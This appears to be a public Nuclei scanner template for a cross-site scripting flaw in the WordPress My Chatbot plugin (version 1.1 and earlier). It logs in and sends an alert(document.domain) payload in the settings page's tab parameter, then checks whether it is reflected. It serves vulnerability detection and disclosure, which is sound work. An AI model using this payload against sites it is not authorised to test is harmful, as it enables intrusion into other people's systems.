my-chatbot-xss: WordPress My Chatbot <= 1.1 - Cross-Site Scripting

2025-08-01 WordPress My Chatbot PoC Public

Description

WordPress My Chatbot <= 1.1 is susceptible to cross-site scripting. The plugin does not sanitize or escape its tab parameter in the Settings page before outputting it back in an attribute.

PoC

id: my-chatbot-xss

info:
  name: WordPress My Chatbot <= 1.1 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: high
  description: WordPress My Chatbot <= 1.1  is susceptible to cross-site scripting. The plugin does not sanitize or escape its tab parameter in the Settings page before outputting it back in an attribute.
  reference:
    - https://wpscan.com/vulnerability/c0b6f63b-95d1-4782-9554-975d6d7bbd3d
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 2
  tags: wordpress,wp-plugin,xss,authenticated,wpscan,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=my-chatbot&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b56218b25cac999f3130f9af47737f15caa7556bece64a826fe6474979a382f8022100bd02cc9775413af42e9123afe1b916830d563a5f4af8c8cc015b7135afd58c7b:922c64590222798bb761d5b6d8e72950

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